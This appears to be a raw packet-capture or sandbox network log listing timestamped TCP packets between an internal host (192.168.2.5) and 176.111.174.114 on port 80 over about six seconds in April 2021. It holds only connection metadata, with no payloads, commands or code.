Apr 28, 2021 23:24:00.788078070 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.788162947 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.789465904 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.793576002 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.864763975 CEST	80	50079	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.868598938 CEST	80	50079	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.868676901 CEST	50079	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.880028009 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.880064011 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.880084038 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.880104065 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.880220890 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.880283117 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.880728960 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.880752087 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.880767107 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.880825996 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.880840063 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.880855083 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.880857944 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.880873919 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.880898952 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.880945921 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.887476921 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.887788057 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.973119974 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.973139048 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.973156929 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.973232985 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.973267078 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.973464012 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.973483086 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.973579884 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.973850012 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.973865986 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.973875046 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.973891020 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.973905087 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.973968029 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.974004030 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.974631071 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.976716995 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.978147984 CEST	50079	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.979624033 CEST	50080	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:00.980601072 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:00.980629921 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.066257954 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.066298008 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.066322088 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.066345930 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.066369057 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.066391945 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.066533089 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.066636086 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.067217112 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.067260981 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.067291975 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.067322969 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.067359924 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.069521904 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.069555998 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.071443081 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.071685076 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.073138952 CEST	80	50080	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.073256016 CEST	50080	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.073895931 CEST	50080	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.074661016 CEST	80	50079	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.074992895 CEST	50079	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.165537119 CEST	80	50078	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.165668964 CEST	50078	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.166729927 CEST	80	50080	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.174705982 CEST	80	50080	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.178229094 CEST	50080	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.290453911 CEST	50080	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.291591883 CEST	50082	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.383192062 CEST	80	50080	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.383280993 CEST	50080	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.391628981 CEST	80	50082	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.391791105 CEST	50082	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.392673016 CEST	50082	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.494929075 CEST	80	50082	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.502460003 CEST	80	50082	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.502640963 CEST	50082	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.618439913 CEST	50082	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.619972944 CEST	50083	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.718113899 CEST	80	50083	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.718226910 CEST	50083	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.718868017 CEST	50083	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.720555067 CEST	80	50082	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.720654011 CEST	50082	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.814693928 CEST	80	50083	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.817989111 CEST	80	50083	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:01.818633080 CEST	50083	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.930809021 CEST	50083	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:01.931853056 CEST	50085	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.026145935 CEST	80	50083	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.026324034 CEST	50083	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.031080961 CEST	80	50085	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.031178951 CEST	50085	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.031883001 CEST	50085	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.131453991 CEST	80	50085	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.135349035 CEST	80	50085	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.135476112 CEST	50085	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.244000912 CEST	50085	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.245496988 CEST	50087	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.343241930 CEST	80	50085	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.343319893 CEST	50085	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.348768950 CEST	80	50087	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.348901987 CEST	50087	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.349348068 CEST	50087	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.449054956 CEST	80	50087	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.452507019 CEST	80	50087	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.452641964 CEST	50087	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.556051970 CEST	50087	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.557203054 CEST	50088	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.654808044 CEST	80	50088	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.655055046 CEST	50088	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.655600071 CEST	50088	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.655694008 CEST	80	50087	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.655812979 CEST	50087	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.753406048 CEST	80	50088	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.757008076 CEST	80	50088	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.757088900 CEST	50088	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.871193886 CEST	50088	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.872354984 CEST	50089	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.968605995 CEST	80	50088	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.968673944 CEST	50088	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.972043991 CEST	80	50089	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:02.972131968 CEST	50089	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:02.972923994 CEST	50089	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.072608948 CEST	80	50089	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.076643944 CEST	80	50089	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.076750040 CEST	50089	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.189474106 CEST	50089	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.190507889 CEST	50090	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.283983946 CEST	80	50090	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.284106970 CEST	50090	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.285015106 CEST	50090	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.288994074 CEST	80	50089	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.289072037 CEST	50089	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.379018068 CEST	80	50090	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.383152008 CEST	80	50090	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.383656025 CEST	50090	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.493371010 CEST	50090	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.494748116 CEST	50091	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.561464071 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.586920977 CEST	80	50090	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.587028980 CEST	50090	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.588156939 CEST	80	50091	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.588313103 CEST	50091	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.588959932 CEST	50091	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.654525042 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.654704094 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.655034065 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.682440042 CEST	80	50091	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.686232090 CEST	80	50091	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.686327934 CEST	50091	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.747956038 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.747977972 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.747992039 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.748167038 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.748186111 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.748260975 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.790879965 CEST	50091	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.792283058 CEST	50094	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.842719078 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.842750072 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.842771053 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.842864037 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.842885017 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.842911959 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.842922926 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.842947960 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.843031883 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.886013031 CEST	80	50091	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.886188984 CEST	50091	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.888358116 CEST	80	50094	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.888703108 CEST	50094	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.890022993 CEST	50094	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.935853004 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.935889006 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.935902119 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.936042070 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.936065912 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.936094046 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.936121941 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.936141014 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.936213017 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.936264992 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.936280966 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.936327934 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.936351061 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.936367989 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.936403036 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.936440945 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.936474085 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.936573029 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.936645031 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.936744928 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:03.984510899 CEST	80	50094	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.988425970 CEST	80	50094	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:03.988580942 CEST	50094	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.029050112 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.029100895 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.029122114 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.029220104 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.029258966 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.029292107 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.029495001 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.029536963 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.029753923 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030057907 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030086994 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030112028 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030131102 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030150890 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030169964 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030225039 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030601978 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030627012 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030656099 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030694962 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030803919 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.030976057 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.031234980 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.032668114 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.032978058 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.102735043 CEST	50094	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.127341986 CEST	80	50092	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.127490044 CEST	50092	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.127979040 CEST	50095	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.198621035 CEST	80	50094	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.198760033 CEST	50094	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.221065998 CEST	80	50095	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.221218109 CEST	50095	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.223989010 CEST	50095	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.318135023 CEST	80	50095	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.322020054 CEST	80	50095	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.322216988 CEST	50095	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.431745052 CEST	50095	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.434314966 CEST	50097	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.527477026 CEST	80	50095	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.527647018 CEST	50095	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.532357931 CEST	80	50097	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.532512903 CEST	50097	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.533710003 CEST	50097	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.632816076 CEST	80	50097	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.636872053 CEST	80	50097	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.637051105 CEST	50097	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.744028091 CEST	50097	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.746926069 CEST	50098	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.823153973 CEST	80	50095	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.823218107 CEST	50095	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.845448017 CEST	80	50097	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.845568895 CEST	50097	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.845856905 CEST	80	50098	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.845947981 CEST	50098	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.846416950 CEST	50098	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:04.945871115 CEST	80	50098	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.949553967 CEST	80	50098	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:04.949737072 CEST	50098	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.166060925 CEST	50098	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.167448997 CEST	50099	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.262950897 CEST	80	50099	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:05.263104916 CEST	50099	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.263506889 CEST	80	50098	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:05.263648033 CEST	50098	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.263951063 CEST	50099	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.360074043 CEST	80	50099	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:05.363040924 CEST	80	50099	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:05.363142967 CEST	50099	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.484745026 CEST	50099	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.486578941 CEST	50101	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.579857111 CEST	80	50099	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:05.579961061 CEST	50099	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.593269110 CEST	80	50101	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:05.593396902 CEST	50101	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.593971014 CEST	50101	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.699388981 CEST	80	50101	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:05.703145981 CEST	80	50101	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:05.703259945 CEST	50101	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.806200981 CEST	50101	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.807236910 CEST	50102	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.910254955 CEST	80	50101	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:05.910284996 CEST	80	50102	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:05.910326958 CEST	50101	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.910399914 CEST	50102	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:05.910968065 CEST	50102	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.013981104 CEST	80	50102	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.017673016 CEST	80	50102	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.017774105 CEST	50102	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.134607077 CEST	50102	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.136262894 CEST	50103	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.231204987 CEST	80	50103	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.231347084 CEST	50103	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.231841087 CEST	50103	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.239145994 CEST	80	50102	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.239267111 CEST	50102	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.325483084 CEST	80	50103	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.329269886 CEST	80	50103	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.329426050 CEST	50103	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.431006908 CEST	50103	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.432147026 CEST	50104	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.524524927 CEST	80	50103	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.524835110 CEST	50103	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.534188986 CEST	80	50104	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.535777092 CEST	50104	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.536370039 CEST	50104	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.622163057 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.636076927 CEST	80	50104	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.640780926 CEST	80	50104	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.643208027 CEST	50104	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.722645044 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.722882986 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.723197937 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.759787083 CEST	50104	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.761887074 CEST	50106	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.823390961 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.823513985 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.823543072 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.823611021 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.823838949 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.823921919 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.823928118 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.824012041 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.824183941 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.824270010 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.824295044 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.824354887 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.824476004 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.824584961 CEST	50105	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:06.824690104 CEST	80	50105	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:06.824800014 CEST	50105	80	192.168.2.5	176.111.174.114
